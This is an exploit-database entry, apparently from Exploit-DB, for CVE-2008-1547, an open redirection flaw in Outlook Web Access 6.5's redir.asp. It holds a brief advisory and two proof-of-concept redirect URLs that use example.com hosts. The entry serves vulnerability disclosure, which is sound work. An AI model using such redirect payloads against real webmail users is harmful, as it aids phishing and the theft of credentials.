Exploit Microsoft Outlook Web Access for Exchange Server 2003 - 'redir.asp' Open Redirection

[Exploiter]

EDB-ID

32489

Проверка EDB

1. Пройдено

Автор

MARTIN SUESS

Тип уязвимости

REMOTE

Платформа

WINDOWS

CVE

cve-2008-1547

Дата публикации

2008-10-15

source: https://www.securityfocus.com/bid/31765/info

Outlook Web Access is prone to a remote URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks.

OWA 6.5 SP 2 is vulnerable; other versions may also be affected. 

https://webmail.example.com/exchweb/bin/redir.asp?URL=http://www.example2.com

https://webmail.example.com/CookieAuth.dll?GetLogon?url=%2Fexchweb%2Fbin%2Fredir.asp%3FURL%3Dhttp%3A%2F%2Fwww.example2.com&reason=0